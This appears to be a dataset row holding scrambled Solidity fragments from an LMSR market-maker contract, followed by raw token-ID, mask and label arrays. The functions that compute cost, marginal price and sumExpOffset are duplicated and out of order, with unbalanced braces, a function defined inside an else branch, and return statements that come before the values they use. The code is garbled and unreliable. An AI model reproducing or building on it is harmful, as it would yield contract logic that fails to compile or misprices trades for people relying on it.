Fixed192x64Math.binaryLog(atomicOutcomeSlotCount * ONE, Fixed192x64Math.EstimationMode.UpperBound); (uint sum, int offset, ) = sumExpOffset(log2N, otExpNums, 0, Fixed192x64Math.EstimationMode.UpperBound); netCost = Fixed192x64Math.binaryLog(sum, Fixed192x64Math.EstimationMode.UpperBound); netCost = netCost.add(offset); netCost = (netCost.mul(int(ONE)) / log2N).mul(int(funding)); if(netCost <= 0 || netCost / int(ONE) * int(ONE) == netCost) { netCost /= int(ONE); netCost = netCost / int(ONE) + 1; } } { require(outcomeTokenAmounts.length == atomicOutcomeSlotCount); int[] memory otExpNums = new int[](atomicOutcomeSlotCount); for (uint i = 0; i < atomicOutcomeSlotCount; i++) { int balance = int(pmSystem.balanceOf(address(this), generateAtomicPositionId(i))); require(balance >= 0); otExpNums[i] = outcomeTokenAmounts[i].sub(balance); } int log2N = Fixed192x64Math.binaryLog(atomicOutcomeSlotCount * ONE, Fixed192x64Math.EstimationMode.UpperBound); (uint sum, int offset, ) = sumExpOffset(log2N, otExpNums, 0, Fixed192x64Math.EstimationMode.UpperBound); netCost = Fixed192x64Math.binaryLog(sum, Fixed192x64Math.EstimationMode.UpperBound); netCost = netCost.add(offset); netCost = (netCost.mul(int(ONE)) / log2N).mul(int(funding)); if(netCost <= 0 || netCost / int(ONE) * int(ONE) == netCost) { netCost /= int(ONE); netCost = netCost / int(ONE) + 1; } } } else { function calcMarginalPrice(uint8 outcomeTokenIndex) public view returns (uint price) { int[] memory negOutcomeTokenBalances = new int[](atomicOutcomeSlotCount); for (uint i = 0; i < atomicOutcomeSlotCount; i++) { int negBalance = -int(pmSystem.balanceOf(address(this), generateAtomicPositionId(i))); require(negBalance <= 0); negOutcomeTokenBalances[i] = negBalance; } int log2N = Fixed192x64Math.binaryLog(negOutcomeTokenBalances.length * ONE, Fixed192x64Math.EstimationMode.Midpoint); return outcomeExpTerm / (sum / ONE); } function calcMarginalPrice(uint8 outcomeTokenIndex) public view returns (uint price) { int[] memory negOutcomeTokenBalances = new int[](atomicOutcomeSlotCount); for (uint i = 0; i < atomicOutcomeSlotCount; i++) { int negBalance = -int(pmSystem.balanceOf(address(this), generateAtomicPositionId(i))); require(negBalance <= 0); negOutcomeTokenBalances[i] = negBalance; } int log2N = Fixed192x64Math.binaryLog(negOutcomeTokenBalances.length * ONE, Fixed192x64Math.EstimationMode.Midpoint); return outcomeExpTerm / (sum / ONE); } (uint sum, , uint outcomeExpTerm) = sumExpOffset(log2N, negOutcomeTokenBalances, outcomeTokenIndex, Fixed192x64Math.EstimationMode.Midpoint); function sumExpOffset(int log2N, int[] memory otExpNums, uint8 outcomeIndex, Fixed192x64Math.EstimationMode estimationMode) private view returns (uint sum, int offset, uint outcomeExpTerm) { require(log2N >= 0 && int(funding) >= 0); offset = Fixed192x64Math.max(otExpNums); offset = offset.mul(log2N) / int(funding); offset = offset.sub(EXP_LIMIT); uint term; for (uint8 i = 0; i < otExpNums.length; i++) { term = Fixed192x64Math.pow2((otExpNums[i].mul(log2N) / int(funding)).sub(offset), estimationMode); if (i == outcomeIndex) outcomeExpTerm = term; sum = sum.add(term); } } function sumExpOffset(int log2N, int[] memory otExpNums, uint8 outcomeIndex, Fixed192x64Math.EstimationMode estimationMode) private view returns (uint sum, int offset, uint outcomeExpTerm) { require(log2N >= 0 && int(funding) >= 0); offset = Fixed192x64Math.max(otExpNums); offset = offset.mul(log2N) / int(funding); offset = offset.sub(EXP_LIMIT); uint term; for (uint8 i = 0; i < otExpNums.length; i++) { term = Fixed192x64Math.pow2((otExpNums[i].mul(log2N) / int(funding)).sub(offset), estimationMode); if (i == outcomeIndex) outcomeExpTerm = term; sum = sum.add(term); } } }
16,201,784
[ 1, 48, 3537, 54, 13667, 312, 6388, 6835, 300, 26128, 7433, 19827, 2511, 603, 7433, 7006, 471, 2172, 22058, 225, 2262, 304, 511, 89, 300, 411, 4316, 18, 28832, 36, 1600, 538, 291, 18, 7755, 34, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 511, 3537, 54, 3882, 278, 12373, 353, 6622, 278, 12373, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 31, 203, 203, 565, 2254, 5381, 15623, 273, 374, 92, 21, 12648, 12648, 31, 203, 565, 509, 5381, 22615, 67, 8283, 273, 890, 5520, 24, 6976, 29, 5908, 4313, 10395, 5608, 10580, 5026, 24, 31, 203, 203, 565, 445, 7029, 7308, 8018, 12, 474, 8526, 3778, 12884, 1345, 6275, 87, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 474, 2901, 8018, 13, 203, 203, 565, 288, 203, 3639, 2583, 12, 21672, 1345, 6275, 87, 18, 2469, 422, 7960, 19758, 8764, 1380, 1769, 203, 203, 3639, 509, 8526, 3778, 15835, 2966, 25532, 273, 394, 509, 8526, 12, 27718, 19758, 8764, 1380, 1769, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 7960, 19758, 8764, 1380, 31, 277, 27245, 288, 203, 5411, 509, 11013, 273, 509, 12, 7755, 3163, 18, 12296, 951, 12, 2867, 12, 2211, 3631, 2103, 23102, 2555, 548, 12, 77, 3719, 1769, 203, 5411, 2583, 12, 12296, 1545, 374, 1769, 203, 5411, 15835, 2966, 25532, 63, 77, 65, 273, 12884, 1345, 6275, 87, 63, 77, 8009, 1717, 12, 12296, 1769, 203, 3639, 289, 203, 203, 3639, 509, 613, 22, 50, 273, 15038, 15561, 92, 1105, 10477, 18, 8578, 1343, 12, 27718, 19758, 8764, 1380, 380, 15623, 16, 15038, 15561, 92, 1105, 10477, 18, 9122, 5115, 2309, 18, 21328, 1769, 203, 203, 3639, 261, 11890, 2142, 16, 509, 1384, 16, 262, 273, 2142, 2966, 2335, 12, 1330, 22, 50, 16, 2 ]